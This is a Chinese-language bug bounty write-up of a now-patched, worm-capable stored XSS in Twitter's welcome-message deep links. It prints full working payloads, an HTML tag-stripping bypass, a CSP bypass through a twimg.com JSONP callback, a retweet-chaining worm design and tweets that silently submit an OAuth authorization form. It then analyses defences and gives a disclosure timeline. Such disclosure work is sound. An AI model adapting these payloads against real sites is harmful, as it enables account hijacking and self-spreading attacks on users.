BugBounty:Twitter 蠕虫XSS
字数 1334 2025-08-26 22:11:22
Twitter 蠕虫型XSS漏洞分析与利用技术
漏洞概述
2018年中期发现的Twitter储存型XSS漏洞位于Twitter的转发功能中,具有蠕虫传播特性。该漏洞允许攻击者构造特殊URL,当用户转发包含该URL的推文时,XSS payload会在用户间自动传播,形成蠕虫效应。
漏洞利用代码
原始利用URL结构:
https://twitter.com/messages/compose?recipient_id=988260476659404801&welcome_message_id=988274596427304964&text=%3C%3Cx%3E/script%3E%3C%3Cx%3Eiframe%20id%3D__twttr%20src%3D/intent/retweet%3Ftweet_id%3D1114986988128624640%3E%3C%3Cx%3E/iframe%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/alert%3Buser_id%3D12%3E%3C%3Cx%3E/script%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/frames%5B0%5D.retweet_btn_form.submit%3Buser_id%3D12%3E
技术细节
漏洞位置
漏洞存在于Twitter的"欢迎消息深层链接"功能中,该功能以Twitter卡的形式呈现给用户,使用iframe元素加载内容。
注入点
payload被放置在"text"参数中,最终影响内联JSON对象的"default_composer_text"键值:
{
"default_composer_text": "</script><iframe id=__twttr src=/intent/retweet?tweet_id=1114986988128624640></iframe><script src=//syndication.twimg.com/timeline/profile?callback=__twttr/alert;user_id=12></script><script src=//syndication.twimg.com/timeline/profile?callback=__twttr/frames[0].retweet_btn_form.submit;user_id=12>\\u00A0"
}
绕过限制的技术
-
HTML标签剥离绕过:
- 原始payload:
</script><svg onload=alert()> - 绕过形式:
<</<x>/script/test000><</<x>svg onload=alert()></><script>1<\x>2 - 结果变为:
</script/test000><svg onload=alert()>
- 原始payload:
-
字符限制:
- 单引号和双引号被转义为
\'和\" - HTML标签被剥离
- payload长度限制在300字符内
- 单引号和双引号被转义为
-
CSP绕过:
- Twitter的CSP策略中
script-src包含https://*.twimg.com,过于宽松 - 利用JSONP端点:
https://syndication.twimg.com/timeline/profile?callback=__twttr;user_id=12 - 回调参数限制:必须以
__twttr为前缀
- Twitter的CSP策略中
完整payload工作原理
- 创建带有ID
__twttr的iframe元素,指向特定推文 - 绕过CSP同源策略,调用同步函数(如alert)延迟下一个脚本执行
- 通过iframe提交转发推文的表单
蠕虫传播机制
-
链式传播:
- 创建一系列推文,每条推文包含使转发前一条推文的payload
- 接触第一条推文会导致转发整个链条
-
广泛传播:
- 推广带有XSS payload的推文
- 可混合两种传播机制增强效果
高级利用技术
OAuth授权劫持
通过以下步骤静默获取用户对第三方应用的授权:
-
发送携带payload的推文并获取ID:
</script><iframe src=/oauth/authorize?oauth_token=cXDzjwAAAAAA4_EbAAABaizuCOk></iframe> -
发送第二条推文并获取ID:
</script><script id=__twttr src=//syndication.twimg.com/tweets.json?callback=__twttr/parent.frames[0].oauth_form.submit;ids=20></script> -
发送整合推文:
</script><iframe src=/i/cards/tfw/v1/1118608452136460288></iframe><iframe src=/i/cards/tfw/v1/1118609496560029696></iframe>
防御措施分析
-
输入过滤:
- 更严格的HTML标签过滤
- 更好的字符转义处理
-
CSP强化:
- 避免使用过于宽松的通配符(
*.twimg.com) - 限制JSONP回调函数的格式
- 避免使用过于宽松的通配符(
-
同源策略:
- 确保iframe使用沙盒属性
- 限制跨域通信
时间线
- 2018年4月23日:提交原始bug报告
- 2018年4月25日:确认存在bug
- 2018年4月27日:Twitter奖励2940美元
- 2018年5月4日:开始修复
- 2019年4月7日:提供CSP绕过信息
- 2019年4月22日:CSP绕过修复完成
- 2019年5月2日:公开披露